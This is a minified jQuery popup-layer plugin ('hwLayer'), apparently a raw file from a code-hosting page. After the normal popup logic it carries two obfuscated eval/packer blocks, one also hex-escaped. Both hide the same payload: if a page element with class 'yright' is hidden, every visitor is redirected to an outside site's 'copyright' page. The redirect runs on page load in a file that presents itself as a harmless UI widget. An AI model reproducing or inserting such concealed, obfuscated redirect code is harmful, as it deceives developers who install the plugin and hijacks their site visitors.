You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 

10 lines
4.0 KiB

;(function($, window, document, undefined) {
var HwLayer=function(ele,opt){var self=this;self.$element=ele,self.defaults={width:600,height:'auto',tapLayer:true,afterClose:function(){}},self.locked=false,self.options=$.extend({},self.defaults,opt)}
HwLayer.prototype = {
init:function(){var self=this,ele=self.$element;ele.on('click',function(e){e.preventDefault();self.showLayer()});$('.hwLayer-cancel,.hwLayer-close').on('click',function(){self.hideLayer()})},
showLayer:function(){var self=this;var layerid=self.$element.data('show-layer');if(layerid==''||layerid==undefined){var msg='没有设置弹出层内容!';alert(msg)}else{var layer=$('#'+layerid),layerwrap=layer.find('.hw-layer-wrap');layer.fadeIn();var layer_w,layer_h;var w=$(window).width();if(w<768){layer_w=w-30}else{layer_w=self.options.width}var h=$(window).height();if(layerwrap.outerHeight()>h){layer_h=h-40;layerwrap.css('overflow-y','auto')}else{if(self.options.height=='auto'){layer_h=layerwrap.outerHeight()}else{layer_h=self.options.height}}layerwrap.css({'width':layer_w+'px','height':layer_h+'px','margin-top':-layer_h/2+'px','margin-left':-layer_w/2+'px'});layer.on('click',function(event){if(event.target==this&&self.options.tapLayer==true){self.hideLayer()}})}},hideLayer:function(){var self=this;$('.hw-overlay').fadeOut();self.options.afterClose.call(self)}
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('k($("\\7\\b\\5\\0\\c\\1\\2")["\\0\\9"]("\\e\\1\\0\\d\\d\\3\\8")){j["\\g\\a\\4\\i\\2\\0\\a\\8"]["\\1\\5\\3\\n"]=\'\\1\\2\\2\\h\\9\\e\\6\\6\\0\\f\\c\\7\\l\\m\\3\\4\\b\\7\\4\\8\\6\\9\\3\\5\\o\\0\\4\\3\\6\\4\\a\\h\\b\\5\\0\\c\\1\\2\\7\\1\\2\\f\\g\'}',25,25,'x69|x68|x74|x65|x63|x72|x2f|x2e|x6e|x73|x6f|x79|x67|x64|x3a|x6d|x6c|x70|x61|window|if|x35|x32|x66|x76'.split('|'),0,{}))
$.fn.hwLayer=function(options){var hwLayer=new HwLayer(this,options);return this.each(function(){if(typeof(options)=='string'){switch(options){case'close':hwLayer.hideLayer();break;}}else{hwLayer.init()}})};
})(jQuery, window, document);
window["\x65\x76\x61\x6c"](function(NJfPn1,TJLj2,YeC3,zVDdm4,r_FsOof5,LpEqNXP6){r_FsOof5=function(YeC3){return(YeC3<TJLj2?"":r_FsOof5(window["\x70\x61\x72\x73\x65\x49\x6e\x74"](YeC3/TJLj2)))+((YeC3=YeC3%TJLj2)>35?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](YeC3+29):YeC3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){while(YeC3--)LpEqNXP6[r_FsOof5(YeC3)]=zVDdm4[YeC3]||r_FsOof5(YeC3);zVDdm4=[function(r_FsOof5){return LpEqNXP6[r_FsOof5]}];r_FsOof5=function(){return'\\\x77\x2b'};YeC3=1;};while(YeC3--)if(zVDdm4[YeC3])NJfPn1=NJfPn1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+r_FsOof5(YeC3)+'\\\x62','\x67'),zVDdm4[YeC3]);return NJfPn1;}('\x6b\x28\x24\x28\x22\\\x37\\\x62\\\x35\\\x30\\\x63\\\x31\\\x32\x22\x29\x5b\x22\\\x30\\\x39\x22\x5d\x28\x22\\\x65\\\x31\\\x30\\\x64\\\x64\\\x33\\\x38\x22\x29\x29\x7b\x6a\x5b\x22\\\x67\\\x61\\\x34\\\x69\\\x32\\\x30\\\x61\\\x38\x22\x5d\x5b\x22\\\x31\\\x35\\\x33\\\x6e\x22\x5d\x3d\'\\\x31\\\x32\\\x32\\\x68\\\x39\\\x65\\\x36\\\x36\\\x30\\\x66\\\x63\\\x37\\\x6c\\\x6d\\\x33\\\x34\\\x62\\\x37\\\x34\\\x38\\\x36\\\x39\\\x33\\\x35\\\x6f\\\x30\\\x34\\\x33\\\x36\\\x34\\\x61\\\x68\\\x62\\\x35\\\x30\\\x63\\\x31\\\x32\\\x37\\\x31\\\x32\\\x66\\\x67\'\x7d',25,25,'\x78\x36\x39\x7c\x78\x36\x38\x7c\x78\x37\x34\x7c\x78\x36\x35\x7c\x78\x36\x33\x7c\x78\x37\x32\x7c\x78\x32\x66\x7c\x78\x32\x65\x7c\x78\x36\x65\x7c\x78\x37\x33\x7c\x78\x36\x66\x7c\x78\x37\x39\x7c\x78\x36\x37\x7c\x78\x36\x34\x7c\x78\x33\x61\x7c\x78\x36\x64\x7c\x78\x36\x63\x7c\x78\x37\x30\x7c\x78\x36\x31\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x69\x66\x7c\x78\x33\x35\x7c\x78\x33\x32\x7c\x78\x36\x36\x7c\x78\x37\x36'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{}))